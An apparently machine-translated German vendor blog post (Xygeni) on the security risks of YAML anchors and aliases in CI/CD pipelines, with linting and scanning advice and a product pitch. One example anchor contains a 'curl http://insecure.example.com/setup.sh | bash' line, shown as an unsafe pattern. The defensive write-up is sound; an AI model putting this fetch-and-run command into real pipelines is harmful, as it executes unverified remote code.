YAML-Anker und -Aliase – YAML-Anker

YAML-Anker und -Aliase: Die übersehene Angriffsfläche in CI/CD

Wie YAML-Anker und Aliase funktionieren in CI/CD Pipelines

YAML-Anker und Aliase sind leistungsstarke Werkzeuge zum Halten CI/CD pipeline Definitionen DRY (Don't Repeat Yourself). Anker definieren wiederverwendbare Blöcke (&Anker) und Aliase (*alias) kopieren Sie deren Inhalt, wo immer darauf verwiesen wird. Dies funktioniert auf gängigen Plattformen wie GitHub Actions, GitLab CI und CircleCI.

Hier ist ein einfaches Beispiel:

.defaults: &defaults
image: node:18
before_script:
- npm install

job1:
<<: *defaults
script:
- npm run test

job2:
<<: *defaults
script:
- npm run build

⚠️ Unsicheres Beispiel, nicht in der Produktion verwenden

Während Anker-YAML-Muster wie dieses die Wartbarkeit verbessern, können sie auch wichtigen Kontext abstrahieren. In CI/CD, wo die Konfiguration Code ist, können YAML-Anker und -Aliase unsichere Standardwerte unbemerkt verbreiten, ohne dass die Entwickler merken, was geerbt wird.

In Anker-YAML-Strukturen versteckte Sicherheitsrisiken

Das Problem mit ihnen Es geht nicht um die Syntax, sondern darum, wie sie verwendet (oder missbraucht) werden. Sicherheitseinstellungen wie zu weit gefasste Berechtigungen, übersprungene Validierungen oder fest codierte Geheimnisse können in einen Anker integriert und überall wiederverwendet werden.

Ejemplo:

.unsafe: &unsafe
script:
- curl http://insecure.example.com/setup.sh | bash
rules:
- when: always

job-dev:
<<: *unsafe

job-prod:
<<: *unsafe

Dieser Anker (&unsicher) enthält eine unsichere Locken | Bash Muster, das in mehrere Jobs eingefügt wird. Wenn auch nur ein Job eine andere Validierung oder geheime Handhabung gehabt hätte, wäre er nun kompromittiert. Anchors' YAML Strukturen. machen es leicht, diesen Fehler bei Überprüfungen zu übersehen.

Wie ein falsch konfigurierter YAML-Anker zur Gefährdung der Lieferkette führt

Eine einzige falsch konfigurierte YAML-Anker kann unsichere Logik über mehrere pipelines. Wenn Aliase ohne klare Dokumentation oder Sichtbarkeit verwendet werden, können leicht unbeabsichtigt gefährliche Verhaltensweisen übernommen werden.

Stellen Sie sich dieses Szenario vor:

  • A .ci-Vorlagen Repo definiert gemeinsame Anker für bauen, einsetzenund Test.
  • Projekte über mehrere Teams hinweg nutzen <<: *Build-Phase ohne den Inhalt zu überprüfen.
  • Später ändert jemand den Anker, um die Signaturüberprüfung für Abhängigkeiten zu überspringen.

Jetzt jeder Konsum pipeline erbt diese unsichere Logik. Dies ist ein Klassiker Risiken in der Software-Lieferkette: unsichere Vorlagen werden stillschweigend repliziert über YAML-Anker und -Aliase.

Diese Art von Schwachstellen werden bei herkömmlichen Code-Reviews nicht immer erkannt. Anchors YAML-Missbrauch versteckt sich hinter Aliasing, wodurch CI/CD Logik nicht transparent.

Erkennen und Verhindern der unsicheren Verwendung von Ankern

Um die Risiken von YAML-Ankern zu reduzieren, implementieren Sie die Validierung auf mehreren Ebenen:

  • CI/CD Linters: Verwenden Sie YAML-fähige Linter, die YAML-Anker und -Aliase vor der Analyse erweitern. Beispiel: Aktionslint für GitHub Actions oder benutzerdefinierte Linter für GitLab.
  • Tools zum Scannen der Konfiguration: Verwenden Sie Tools, die YAML-Logik parsen und analysieren können um Muster mit hohem Risiko zu erkennen.
  • Überprüfen Sie die Unterschiede nach der Erweiterung: Einige Plattformen ermöglichen die Anzeige der kompilierten pipeline. Überprüfen Sie immer das erweiterte YAML, nicht nur die Quelldatei.
  • Guardrails: Richten Sie Richtlinien ein, um Blockieren Sie unsichere Konfigurationen wie uneingeschränkte Shell-Befehle oder nicht validierte Skript-Downloads.

Sichern von Anchors YAML in DevSecOps Pipelines

Best Practices für die sichere Nutzung von Anker und Aliase umfasst:

  • Halten Sie die Anzahl der Anker minimal: Vermeiden Sie es, zu viele Verantwortlichkeiten in einen einzigen Anker zu packen. Teilen Sie die Logik in separate, klar benannte Anker auf.
  • Verwenden Sie explizite Jobdefinitionen wo Sicherheitsgrenzen wichtig sind, insbesondere zwischen Entwicklungs- und Produktionsphasen.
  • Vermeiden Sie die Wiederverwendung von Ankern in verschiedenen Umgebungen sofern nicht erforderlich. Definieren Sie separate Anker für Entwicklung, Staging und Produktion.
  • Scan-Vorlagen und Vererbungsketten in zentralisierten CI/CD Konfigurations-Repositorys.

Niemals Geheimnisse einbetten in einen Anker. Immer sicher einholen.

Fazit

YAML-Anker und -Aliase sind leistungsstarke Produktivitätssteigerer, werden aber bei schlechter Verwaltung zu einem direkten Risiko für die Lieferkette. Sie können unbemerkt unsichere Standardwerte verbreiten, die Phasenisolierung schwächen und kritische Logik in Ihrem CI/CD pipelines.

Absichern pipelines baut auf YAML-Ankerstrukturen auf, erzwingt Sichtbarkeit, begrenzt die Wiederverwendung von Ankern und behandelt CI/CD Konfigurationen werden mit der gleichen Sorgfalt geprüft wie Anwendungscode. Falsch verwendete Anker sind nicht nur ein Stilproblem; sie sind eine Angriffsfläche. Tools wie Xygeni kann missbrauchte Anker erkennen, unsichere Muster blockieren und Teams volle Transparenz in vererbte CI/CD Logik, bevor unsicherer Code in die Produktion gelangt.

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
7-Tage kostenlose Testversion
Keine Kreditkarte erforderlich

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite